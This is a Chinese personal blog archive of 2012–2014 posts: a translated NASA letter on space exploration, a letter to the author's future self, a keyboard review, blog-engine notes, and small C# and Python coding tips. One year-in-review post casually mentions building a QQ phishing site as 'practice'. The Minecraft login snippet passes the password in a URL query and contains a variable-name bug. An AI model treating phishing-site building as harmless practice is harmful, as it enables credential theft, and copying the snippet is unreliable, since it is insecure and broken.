2014/6/1
articleCard.readMore

为什么要探索宇宙

这是我在译言上看到的一篇译文。来自 NASA Marshall 太空航行中心的科学副总监 Ernst Stuhlinger 给一位名叫 Mary Jucunda 赞比亚修女的回信。信中,Mary Jucunda 修女问道:目前地球上还有这么多小孩子吃不上饭,他怎么能舍得为远在火星的项目花费数十亿美元。 Stuhlinger 很快给Jucunda 修女回了信,同时还附带了一张题为“升起的地球”的照片,这张标志性的照片是宇航员 William Anders 于1968年在月球轨道上拍摄的(照片中可以看到月球的地面)。他这封真挚的回信随后由 NASA 以《为什么要探索宇宙》为标题发表。 亲爱的Mary Jucunda修女: 每天,我都会收到很多类似的来信,但这封对我的触动最深,因为它来自一颗慈悲的饱含探求精神的心灵。我会尽自己所能来回答你这个问题。 首先,请允许我向你以及你勇敢的姐妹们表达深深的敬意,你们献身于人类最崇高的事业:帮助身处困境的同胞。 在来信中,你问我在目前地球上还有儿童由于饥饿面临死亡威胁的情况下,为什么还要花费数十亿美元来进行飞向火星的航行。我清楚你肯定不希望这样的答案:“哦,我之前不知道还有小孩子快饿死了,好吧,从现在开始,暂停所有的太空项目,直到孩子们都吃上饭再说。”事实上,早在人类的技术水平可以畅想火星之旅之前,我已经对儿童的饥荒问题有所了解。而且,同我很多朋友的看法一样,我认为此时此刻,我们就应该开始通往月球、火星乃至其他行星的伟大探险。从长远来看,相对于那些要么只有年复一年的辩论和争吵,要么连妥协之后也迟迟无法落实的各种援助计划来说,我甚至觉得探索太空的工程给更有助于解决人类目前所面临的种种危机。 在详细说明我们的太空项目如何帮助解决地面上的危机之前,我想先简短讲一个真实的故事。那是在400年前,德国某小镇里有一位伯爵。他是个心地善良的人,他将自己收入的一大部分捐给了镇子上的穷人。这十分令人钦佩,因为中世纪时穷人很多,而且那时经常爆发席卷全国的瘟疫。一天,伯爵碰到了一个奇怪的人,他家中有一个工作台和一个小实验室,他白天卖力工作,每天晚上的几小时的时间专心进行研究。他把小玻璃片研磨成镜片,然后把研磨好的镜片装到镜筒里,用此来观察细小的物件。伯爵被这个前所未见的可以把东西放大观察的小发明迷住了。他邀请这个怪人住到了他的城堡里,作为伯爵的门客,此后他可以专心投入所有的时间来研究这些光学器件。 然而,镇子上的人得知伯爵在这么一个怪人和他那些无用的玩意儿上花费金钱之后,都很生气。“我们还在受瘟疫的苦,”他们抱怨道,“而他却为那个闲人和他没用的爱好乱花钱!”伯爵听到后不为所动。“我会尽可能地接济大家,”他表示,“但我会继续资助这个人和他的工作,我确信终有一天会有回报。” 果不其然,他的工作(以及同时期其他人的努力)赢来了丰厚的回报:显微镜。显微镜的发明给医学带来了前所未有的发展,由此展开的研究及其成果,消除了世界上大部分地区肆虐的瘟疫和其他一些传染性疾病。 伯爵为支持这项研究发明所花费的金钱,其最终结果大大减轻了人类所遭受的苦难,这回报远远超过单纯将这些钱用来救济那些遭受瘟疫的人。 我们目前面临类似的问题。美国总统的年度预算共有2000亿美元,这些钱将用于医疗、教育、福利、城市建设、高速公路、交通运输、海外援助、国防、环保、科技、农业以及其他多项国内外的工程。今年,预算中的1.6%将用于探索宇宙,这些花销将用于阿波罗以计划、其他一些涵盖了天体物理学、深空天文学、空间生物学、行星探测工程、地球资源工程的小项目以及空间工程技术。为担负这些太空项目的支出,平均每个年收入10,000美元的美国纳税人需要支付约30美元给太空,剩下的9,970美元则可用于一般生活开支、休闲娱乐、储蓄、别的税项等花销。 也许你会问:“为什么不从纳税人为太空支付的30美元里抽出5美元或3美元或是1美元来救济饥饿的儿童呢?”为了回答这个问题,我需要先简单解释一下我们国家的经济是如何运行的,其他国家也是类似的情形。政府由几个部门(如内政部、司法部、卫生部与公众福利部、教育部、运输部、国防部等)和几个机构(国家科学基金会、国家航空航天局等)组成,这些部门和机构根据自己的职能制定相应的年度预算,并严格执行以应对国务委员会的监督,同时还要应付来自预算部门和总统对于其经济效益的压力。当资金最终由国会拨出后,将严格用于经预算批准的计划中的项目。 显然,NASA的预算中所包含的项目都是和航空航天有关的。未经国会批准的预算项目,是不会得到资金支持的,自然也不会被课税,除非有其他部门的预算涵盖了该项目,借此花掉没有分配给太空项目的资金。由这段简短的说明可以看出,要想援助饥饿的儿童,或在美国已有的对外援助项目上增加援助金额,需要首先由相关部门提出预算,然后由国会批准才行。 要问是否同意政府实施类似的政策,我个人的意见是绝对赞成。我完全不介意每年多付出一点点税款来帮助饥饿的儿童,无论他们身在何处。 我相信我的朋友们也会持相同的态度。然而,事情并不是仅靠把去往火星航行的计划取消就能轻易实现的。相对的,我甚至认为可以通过太空项目,来为缓解乃至最终解决地球上的贫穷和饥饿问题作出贡献。解决饥饿问题的关键有两部分:食物的生产和食物的发放。食物的生产所涉及的农业、畜牧业、渔业及其他大规模生产活动在世界上的一些地区高效高产,而在有的地区则产量严重不足。通过高科技手段,如灌溉管理,肥料的使用,天气预报,产量评估,程序化种植,农田优选,作物的习性与耕作时间选择,农作物调查及收割计划,可以显著提高土地的生产效率。 人造地球卫星无疑是改进这两个关键问题最有力的工具。在远离地面的运行轨道上,卫星能够在很短的时间里扫描大片的陆地,可以同时观察计算农作物生长所需要的多项指标,土壤、旱情、雨雪天气等等,并且可以将这些信息广播至地面接收站以便做进一步处理。事实证明,配备有土地资源传感器及相应的农业程序的人造卫星系统,即便是最简单的型号,也能给农作物的年产量带来数以十亿美元计的提升。 如何将食品发放给需要的人则是另外一个全新的问题,关键不在于轮船的容量,而在于国际间的合作。小国统治者对于来自大国的大量食品的输入会感到很困扰,他们害怕伴随着食物一同而来的还有外国势力对其统治地位的影响。恐怕在国与国之间消除隔阂之前,饥饿问题无法得以高效解决了。我不认为太空计划能一夜之间创造奇迹,然而,探索宇宙有助于促使问题向着良好的方向发展。 以最近发生的阿波罗13号事故为例。当宇航员处于关键的大气层再入期时,为了保证通讯畅通,苏联关闭了境内与阿波罗飞船所用频带相同的所有广播通信。同时派出舰艇到太平洋和大西洋海域以备第一时间进行搜救工作。如果宇航员的救生舱降落到俄方舰船附近,俄方人员会像对待从太空返回的本国宇航员一样对他们进行救助。同样,如果俄方的宇宙飞船遇到了类似的紧急情况,美国也一定会毫不犹豫地提供援助。 通过卫星进行监测与分析来提高食品产量,以及通过改善国际关系提高食品发放的效率,只是通过太空项目提高人类生活质量的两个方面。下面我想介绍另外两个重要作用:促进科学技术的发展和提高一代人的科学素养。 登月工程需要历史上前所未有的高精度和高可靠性。面对如此严苛的要求,我们要寻找新材料,新方法;开发出更好的工程系统;用更可靠的制作流程;让仪器的工作寿命更长久;甚至需要探索全新的自然规律。 这些为登月发明的新技术同样可以用于地面上的工程项目。每年,都有大概一千项从太空项目中发展出来的新技术被用于日常生活中,这些技术打造出更好的厨房用具和农场设备,更好的缝纫机和收音机,更好的轮船和飞机,更精确的天气预报和风暴预警,更好的通讯设施,更好的医疗设备,乃至更好的日常小工具。你可能会问,为什么先设计出宇航员登月舱的维生系统,而不是先为心脏病患者造出远程体征监测设备呢。答案很简单:解决工程问题时,重要的技术突破往往并不是按部就班直接得到的,而是来自能够激发出强大创新精神,能够燃起的想象力和坚定的行动力,以及能够整合好所有资源的充满挑战的目标。 太空旅行无可置疑地是一项充满挑战的事业。通往火星的航行并不能直接提供食物解决饥荒问题。然而,它所带来大量的新技术和新方法可以用在火星项目之外,这将产生数倍于原始花费的收益。 若希望人类生活得越来越好,除了需要新的技术,我们还需要基础科学不断有新的进展。包括物理学和化学,生物学和生理学,特别是医学,用来照看人类的健康,应对饥饿、疾病、食物和水的污染以及环境污染等问题。 我们需要更多的年轻人投入到科学事业中来,我们需要给予那些投身科研事业的有天分的科学家更多的帮助。随时要有富于挑战的研究项目,同时要保证对项目给予充分的资源支持。在此我要重申,太空项目是科技进步的催化剂,它为学术研究工作提供了绝佳和实践机会,包括对月球和其他行星的研究、物理学和天文学、生物学和医学科学等学科,有它,科学界源源不断出现令人激动不已研究课题,人类得以窥见宇宙无比瑰丽的景象;为了它,新技术新方法不断涌现。 由美国政府控制并提供资金支持的所有活动中,太空项目无疑最引人瞩目也最容易引起争议,尽管其仅占全部预算的1.6%,不到全民生产总值的千分之三。作为新技术的驱动者和催化剂,太空项目开展了多项基础科学的研究,它的地位注定不同于其他活动。从某种意义上来说,以太空项目的对社会的影响,其地位相当于3-4千年前的战争活动。 如果国家之间不再比拼轰炸机和远程导弹,取而代之比拼月球飞船的性能,那将避免多少战乱之苦!聪慧的胜利者将满怀希望,失败者也不用饱尝痛苦,不再埋下仇恨的种子,不再带来复仇的战争。 尽管我们开展的太空项目研究的东西离地球很遥远,已经将人类的视野延伸至月亮、至太阳、至星球、直至那遥远的星辰,但天文学家对地球的关注,超过以上所有天外之物。太空项目带来的不仅有那些新技术所提供的生活品质的提升,随着对宇宙研究的深入,我们对地球,对生命,对人类自身的感激之情将越深。太空探索让地球更美好。 Earthrise 随信一块寄出的这张照片,是1968年圣诞节那天阿波罗8号在环月球轨道上拍摄的地球的景象。太空项目所能带来的各种结果中,这张照片也许是其中最可贵的一项。它开阔了人类的视野,让我们如此直观地感受到地球是广阔无垠的宇宙中如此美丽而又珍贵的孤岛,同时让我们认识到地球是我们唯一的家园,离开地球就是荒芜阴冷的外太空。无论在此之前人们对地球的了解是多么的有限,对于破坏生态平衡的严重后果的认识是多么的不充分。在这张照片公开发表之后,面对人类目前所面临的种种严峻形势,如环境污染、饥饿、贫穷、过度城市化、粮食问题、水资源问题、人口问题等等,号召大家正视这些严重问题的呼声越来越多。人们突然表示出对自身问题的关注,不能说和目前正在进行的这些初期太空探索项目,以及它所带来的对于人类自身家园的全新视角无关。 太空探索不仅仅给人类提供一面审视自己的镜子,它还能给我们带来全新的技术,全新的挑战和进取精神,以及面对严峻现实问题时依然乐观自信的心态。我相信,人类从宇宙中学到的,充分印证了Albert Schweitzer那句名言:“我忧心忡忡地看待未来,但仍满怀美好的希望。” 向您和您的孩子们致以我最真挚的敬意! 您诚挚的, 恩斯特·史都林格 科学副总监 1970年5月6日 原文链接:https://launiusr.wordpress.com/2012/02/08/why-explore-space-a-1970-letter-to-a-nun-in-africa/

2014/5/4
articleCard.readMore

写给18岁的自己

引子 时间是一条大河,每一个生命便是河流中的一叶扁舟,被命运的河水激荡,不知道下一秒会去向何处,更没有回头路可走。 15岁的我坐在电脑前,敲打着键盘,给3年后的自己写一封信。没人可以预测未来,也许在遥远的三年后,我毫无变化,亦或者是天壤之别。无论怎样,当我写下每一个字的瞬间,未来都在发生着巧妙地变化,如果量子力学的平行多宇宙解说是真的,那么在交叉小径的花园里,总会有一条道路,让人们在生命中的每一个节点都得到幸福,在那条完全幸福的道路上,有且仅有一个我在行走。这是多么令人宽慰啊,在每一次铭心刻骨的选择里,总有一个我选对了路,在茫茫的恒河沙数的宇宙里,总有一个我,终生幸福。我相信文字的力量,在15岁的此刻,写下给18岁的我的一封信,希望你在生命的洪流中,走向那条最完美的世界线。 三年后,我的想法可能会改变,但我希望当18岁的我看到这些文字时,不要觉得幼稚,更不要敷衍,每一行都是我对未来的我美好的憧憬,更是真挚的建议,希望18岁的你笑纳,耐心的把他看完。 学习 18岁的你正面临着一高座山——高考。这时你所要付出的,除了努力还是努力。不要再像初中时一样觉得学习只是儿戏,更不要像初中的你一样懒惰浮躁。回想三年前的你,是否发现粗心在他身上无处不在?考试中,生活中,因粗心而带来的损失和失误不能再多。此时的你,需要静下心来,仰望眼前的这座山,它真的高不可攀吗?它陡峭的山崖令你望而生畏,摇摇欲坠的大石让人毛骨悚然。设立这些障碍的人是那些所谓高考教育学家吗?不是。陡峭是你浮躁粗心在作祟,大石是你内心畏惧与不自信的投影,在攀登的途中稍不小心也许就会一落千丈,摔得你你粉身碎骨,此时后悔也无力回天。如果克服这一切,再高的山峰,也会有路可走,再大的拦路障也会一跃而过。静下来审视自己,请不要重蹈三年前你的覆辙。 母亲常说你是个聪明的孩子,但千万不要以此为豪,更不要把聪明当做懒惰的借口。一个真正有智慧的人不会去懈怠自己,只会利用自己的智慧和时间去创造价值。 直到翻过了这座山,你感觉一切都释然,12年的积累只为这一刻,但千万不要放空自己。高考不是一切,此时的你要保持前所未有的最佳的精神面貌和心态,进入作为一个人类所拥有最为宝贵的知识殿堂——大学。这里,你可以学到你三年前梦寐以求的高级计算机知识和技能,亦或是三年前的你绞尽脑汁思考的关于宇宙疑问。珍惜这4年的深造,它是对你灵魂的完善与雕琢。 请务必自信的走进和离开大学,离开的时请满载你对知识所渴望的一切。 知识 试着寻找一个适合你的学习方法。人的一生都在学习,即便离开了学校,你也要不停地学习学习再学习。什么都可以放弃,唯有自己的知识不可抛弃,哪怕是死,也要作为一个体面的、拥有信息量的人离去,而不是一个毫无思想的躯壳,碌碌无为的虚度自己的一生。 学东西不要太急于求成和三分钟热度。还记得你以前学的 C++、C# 和 Python 的经历吗?似乎什么都学了,但什么也没学会。此时的你万不可像以前一样不踏实,既然要学就要坚持,既然坚持就要走到底。把一个东西学精学透(有些东西永远也学不透),便是你最大的成就。 记得扩充自己的知识面,越广越好,一个有学问的人的魅力不会差。知识越多,你一切的看法也会增强,希望你在每作一次判断或者决定时,利用你所有学过的知识,让客观与理性占据上风,做出那个最正确选择,不要为自己的无知而懊悔。 三年后的你还在坚持每天刷知乎和一些科学文章吗?无论如何,阅读是个好习惯,保持下去,永远不要停下来。知识是一个人的财富,不要吝啬于你的脑容量去装下这些财富。 还记得培根的名言吗: Ipsa scientia potestas est. 精神 书籍,是一个人精神的寄托,在你痛苦悲伤快乐烦闷困惑迷惘兴奋无助时,翻开书吧,静下心来体验文字,感受文字带给你的力量。 电影,人类意识形态的传达。去从 IMDB TOP 250 看起吧。和书籍一样,电影也能培养你的知识面和信息量。 音乐,3年前的你不太爱听音乐,也不知道你会不会现在喜欢上音乐,但每当听到好的音乐时,不知怎地我便会起鸡皮疙瘩,把这些让你“发麻”的音乐记录下来吧,休憩之余不放放来听听,放松自己。 待人 你是一个乐观宽容的人,我相信这一点不管多久都不会改变。保持下去,与人宽容于己宽容,天地宽宏,有容乃大。对别人多谅解一些——但也不是一味的妥协承让——别人会感激与你,尊重与你的。 笑是一个人最美的表情,爱笑的人运气不会差,多秀出你的笑容,分享你的快乐。笑一笑十年少 :-D 一个有教养的人,不会把自己负面情绪传递给他人,当你不开心或者愤怒时,千万不要把它发泄给别人。试着转移注意力,看看书,看部电影,听首音乐,随着时间的过去,你会忘记,足矣。 未来 18岁的你正好成年,人生中最年轻最有活力的日子已然到来,珍惜这份时光,珍惜身边的人,我替我自己谢谢你。 我希望18岁的你看完这封信后,能在百忙之余抽出你宝贵的时间,给22岁的自己写一封信,告诉他你对自己的希望,并在看到这封信后按照信中的内容付诸行动。 请把这事当做习惯坚持下去,坚持到你入土为安的那一刻。 你15岁的自己

2014/5/16
articleCard.readMore

Cherry 3000 青轴入手记

自从入了MacBook Air以后,一直纠结其令人窝火的键盘,打字完全提不起劲。于是各处搜寻心仪的键盘,先前看上过HHKB Pro 2,身子小巧,功能强大,但无奈于肉疼的价格还是果断放弃了。最后突然想起了whtsky喵推荐过的Cherry 3494,经过打听和了解,发现Cherry家的机械键盘分多种轴型,主打的是以下五种: 白轴 黑轴 茶轴 青轴 红轴 PS:具体区别详见常见机械轴对比 Cherry 3494属于红轴,不过为了追求速度和打字的快♂感♂以及在whtsky的强(keng)烈(meng)推(guai)荐(pian)下,我果断选择了Cherry 3000 青轴。 第一次看到外包装的感觉很典雅和高大上,一个方方正正黑盒子,给人以一种厚重感。 从盒装中抽出键盘后,发现3000比我想象中的大很多,感觉上部分的LOGO哪一栏有点多余,看了有种臃肿的感觉。 随包装的还有一个拔键器和键盘泥(说实话我第一次不知道这玩意是什么,黏糊糊的粉色胶状体让我端详了半天......囧)。 拿到键盘第一时间就敲打了几下,手感实在是太赞了,按下去有一股无形的质感和压力,之后便是清脆的按键声和快速的回弹。试着连打了几句话,被行云流水般的体验直接推倒......一下感觉Mac的键盘基本可以扔了QwQ 优点: 打字的节奏感很强,很适合程序员和文本工作者 按键质感、压力和回弹很赞,长时间打字也不会特别累 兼容USB和PS/2接口 缺点: 体型比较庞大,比Mac长很多 打字时声音较大,会影响到其他人 总的来说还是对这款很满意,如果你是一个经常撸码的程序员或者是一个爱打字的文字控,青轴绝对是不二之选(不二:我什么时候买过Cherry了!)价格也十分厚道,我是在某宝上的官方网店买的,花了699软妹币,个人感觉还是很值的。 PPS:由于我只是单买了键盘而且没有任何鼠标,所以现在要用触控板的话非常的累+不方便,果断悲剧了,只好割肉买了个Magic Trackpad,真蛋疼。

2014/2/20
articleCard.readMore

Pomash 大体完工

Pomash 现在已经大体完工了,这算是我的第一个Python Web作品,在写的过程中遇到了很多问题,求助了很多人,也了解了很多东西,真的受益匪浅。 从有写一个blog的想法到现在,已经有很长很长的一段时间了,早在回首2012这篇文章中我就提出了要“写一个blog程序”的想法,由于我的懒惰和对Python的搁置,这个计划搁浅了相当长的一段时间。 现在,Pomash的第一个版本发布了,可以说,她来得太晚。 在写Pomash的过程中我正式接触了Tornado这个Python Web框架,不得不说,他很和我胃口,简单强大,易用易学。Pomash的前身是PotatoBox,PotatoBox是我用web.py写的,写到一半弃了坑,转用Tornado来写Pomash 在开发过程中给我最大帮助和灵感的是SerhoLiu大大的Miniakio 2,Pomash的中对SQLite的包装,以及Markdown的扩展,都来自于他的这个项目。不得不说我很感谢他的项目对我的帮助,让我在求学的路上被拉了一把。 Pomash的功能现在还很不完善,我会不断地去完善她,直至她达到我心目中的完美,等待时机成熟,我也会把现在的Blog迁移过去。 接下来的打算是给Pomash加上以下几个功能 Tag√ 评论√ 文章目录√ 主题支持√ 自定义单独页面√ 拭目以待吧

2014/2/18
articleCard.readMore

2014你好2013再见

写在前面 现在已经是2014年的2月份了,这篇文章也许有点来的太迟,其实它一直在我的电脑里,写了改改了删,一直没有放出,现在他了能够重见天日的那一天,希望各路看官笑纳,我只是在诉说我过去一年真实的感受,如果各位有不同的见解,欢迎讨论! 时间 时间,是个奇怪的东西。有时我们觉得她奇慢无比,希望她快些;有时却又赶不上她的步伐,希望她慢些。就在这样矛盾心态下,日复一日,年复一年,我们度过了自己平凡的一生。 2013年,就这样过去了。现在回想起这一年,我似乎对2013年的开始没有一个清晰的记忆,只知道它是在2014年00:00分那一刻结束的,本想用时间线的方式去回顾和总结,但现在只好换一种方式去回忆。 学习 这也许是我学习生活中的一个重要阶段,2013年我结束了我初二的生活,升入了初三。 在此之前,我的学习一直是吊儿郎当的,名次犹如过山车般忽上忽下。在旁人看来我也许是个不思进取的人,的确,我是一个不思进取的人,我只想做好眼下的事,我讨厌学习上的攀比,也讨厌以名次和成绩来衡量一个学生的价值,而我,只是在维持我在如上所述的人眼中的“价值”,我一天的学习生活也不过是早上起来看看书,中午写会作业,晚上继续写作业,上课时间认真听讲而已。复习什么的只在考试前两周临时抱佛脚。看到这,你也许会觉得我是个投机主义者,其实不然,我更多认为我是一个很懒的人,在用一种适合我的方法去偷懒。要说学习的最终目的,许多人也许会回答是为了考试,为了考上好大学,找个好工作,我也不止一次的听到我身边的人抱怨,声称“现在学到的知识,长大的能用到多少?也许根本用不到”,这种想法我不予置评,人各有志,一切好坏都是相对的,没有绝对,大家自行感受。我认为的学习的最终目的,就是为了获取知识,我是个对知识很“挑剔”的人,我只会更多的去了解我喜欢的或者是我感兴趣的领域:宇宙物理学,化学,自然科学,互联网等等之类的(纯理科的样子→_→)至于说历史,政治之类的也会有所涉猎。知乎上是我常去的地方(专业点赞党),我觉得这是一个很好的获取知识的渠道,有趣的问题以及有趣的回答,时不时都会让我眼前一亮。 生活记 我依然是不想出门不呆在家里不舒服斯基,不知道从什么时候开始,出门对我来说是一件很抗拒的事情,闲下来后仔细想想,这种抗拒却没有任何理由,我陷入了一种近似于楞次定律的矛盾状态,于是我决定改变。 可是懒人自有懒相,出门走路我觉得太累,因而走不了太远,达不到出门锻炼的目的;无目的游荡还不如在家里呆着写代码。三思之后,我决定每天出去骑车,路线也就是绕着小镇骑几圈,累了就回家,休息片刻后,再绕着小区跑一圈,这样便有了一个人充实的下午,我觉得这样让我很满足。 这算是我迈出的很大一步_(:зゝ∠)_ 社交 我不喜欢有太多的朋友,一是人脉太多了维持起来会很困难,二是我对朋友的选择也很慎重,我会很重视我友谊的质量,那种三观不正的,性格上有很大缺陷(或者说是与我相冲的)我都会敬而远之,和我敌对状态的人也不少,我通常不会去触怒任何人,人不犯我我不犯人,真要有那种不可理喻的(哔————)没事找事,与他争执骂仗也许可以练练我的嘴皮子~ 综上所述,我的朋友圈不算大,总得可以分为两拨,一拨是我身边的同学和朋友,二来就是whtsky,zorceta,oyiadin,小四这些相处了4年却还没有见过面的好基友啦。 Twitter:@PotatoBrothers QQ:496135569 一上是我较为活跃的两个社交圈,求土豪求妹子~ 码 生命不息折腾不止,去年我学了很多很多东西,HTML、CSS、Python、C++、C#等,但其中没有任何一个我能精通,甚至是深入了解,我这个人是三分钟热度,不过现在是该定定心了,在思考良久后,我还是决定选择Pyhton来做Web开发,我喜欢写能让大家直观看到的东西,网页就是一个很好的选择。 目前开了两个坑——TeG和Pomash 前者是一个QQ钓鱼站,我会不断的完善他,让他的可靠度越来越高,虽然说很蛋疼,不过就当练手吧→_→ 后者是一个博客程序,俗话说“每一个程序员都有一个博客/论坛梦”,算是我的第一个正式作品吧。 写在最后 2013年不算充实,但一些自我的改变让我惊奇,我期待着2014能带给我更多惊喜。不过,有一个遗憾一直在我心中,说出来有些显得苍白无力,以一段话作为结尾吧: 人有时会说胡话,幻想世界会瞬间变化,想象遥远的未来,在脑中描绘一场轰轰烈烈的恋爱,一副未来美好的生活,这些都是人在一生中永远重复着,永无止境地重复着,悲伤、害羞、期待、憧憬、失落总会出现,梦想存在在每一个人的心中,脑海中。是的,人的一生,都活在,梦中。 Life is a dream.

2014/2/5
articleCard.readMore

关于 Minecraft 的正版验证

最近用C#写了个Minecraft的启动器,基本功能都有,但是各种坑,代码也很乱,打算重构。重要的一些东西,就记在博客里了。 首先说一下Minecraft的正版验证的原理,官方有一个专门验证帐号和密码的URL https://login.minecraft.net/?user=帐号&password=密码&version=13 比如说我的账号是ipotato@gmail.com 密码是XXOO 我们就可以向Mojang的服务器发起一个post请求 https://login.minecraft.net/?user=ipotato@gmail.com&password=XXOO&version=13 可以利用C#的System.Net和System.IO命名空间,在导入之后,利用以下代码向服务器发起请求。 string username = "ipotato@gmail.com"; string password = "XXOO"; string url = "https://login.minecraft.net/?user=" + username + "&password=" + password + "&version=13"; WebClient Login = new WebClient(); Stream data = Login.OpenRead(url); StreamReader LoginResult = new StreamReader(data); string s = reader.ReadToEnd(); data.Close(); reader.Close(); 于是,我们就可以得到服务器返回的一个结果,如果帐号和密码正确,会得到以下字段。但如果登录失败,会返回Bad Login字段,这时就可以提醒用户账户或密码错误。 一段数字:deprecated:游戏名称:密码的md5值 这时,我们就可以利用C#的字符串的截取功能,利用字符串中的:将我们需要的用户名和密码的md5值截取下来。 string[] LoginParameter = s.Split(':'); result = "\"" + LoginParameter[2] + "\" \"" + LoginParameter[3] + "\""; 在启动时将变量result的内容附加到启动参数后面,便可以实现正版启动了。

2013/8/17
articleCard.readMore

回首2012

树欲静而风不止,子欲孝而亲不在 这是今天我在微博上看到的一句话,短短14个字却一子在我内心激起了一片涟漪,激发我写这篇2012回顾想法。 不曾珍惜身边的一切,空想着以后去弥补;意识到失去时再回头,一切已经不复存在,时间将他们冲刷得荡然无存,此时的你一无所有。为了让自己的曾经存留下来,我把我的过去一年毫无保留的写下来,将时间保存下来。 一个人的最宝贵的东西是生命,生命对人来说只有一次。因此,人的一生应当这样度过:当一个人回首往事时,不因虚度年华而悔恨,也不因碌碌无为而羞愧。 #生活记 在学习上,我从初一升入了初二,负担并没有因此而增加。学习成绩么,不算糟糕,但一直没有达到自己的期望,也许是因为我想的太多而做的太少,也许是因为我不够努力,但我希望这一切能随着2012的结束而终结,我也希望在2013年见到一个新的自己。 毫无疑问,我依然爱好着我的电脑,我也因此认识了许多新朋友,whtsky、jy、Scxy、四夕青俊、PDL、Oran(暂无他的博客)。他们在许多方面影响着我,我也从他们那学到了许多。虽说我们素未谋面,但我要在这一由衷的说一声谢谢你们 别人眼中2012的我: 幽默,奋进 ——张艺柯 屌丝,技术宅 ——桑宇晨 糕腐衰 ——一位重口味小清新 挺好的。。。。 ——甘宇航 群众力量有限。。。就这几个吧。 #土豆酱年度之最 年度人物:张艺柯 年度操作系统:Windows7 年度食物:意式肉酱面 年度iPad App:Zaker 年度iPhone App:Instagram 年度动画:终极蜘蛛侠 年度电影:电锯惊魂 年度小说:夏至未至 年度音乐:When You Say Nothing At All 年度浏览器:Chrome 年度乐曲:Hello Zepp 年度游戏:Minecraft 年度社交媒体:Path #展望未来 写一个属于自己的博客系统 读完我买的一堆书 好好学习,天天向上!

2012/12/30
articleCard.readMore

如何判断一个变量是否被定义

今天闲来无事,研究Python中,突然有一想法,能否判断一个变量是否被定义,如果被未定义,则给它赋值1,于是尝试: a = a if a is not None else 1 结果报错了,Python中不允许未被定义的变量进行a=a这样的语句,也许可以利用这一特性,用try: except:来捕获异常: try: a = a except: a = 1 当a未被定义时,a=a会抛出一个异常(说明a未被定义),捕获异常后,赋值1 后来,whtsky又提供了另一种方法 a = locals().get("a", "1") locals()会返回所有的局部变量(一个字典),可以判断a是否在其中。

2012/8/21
articleCard.readMore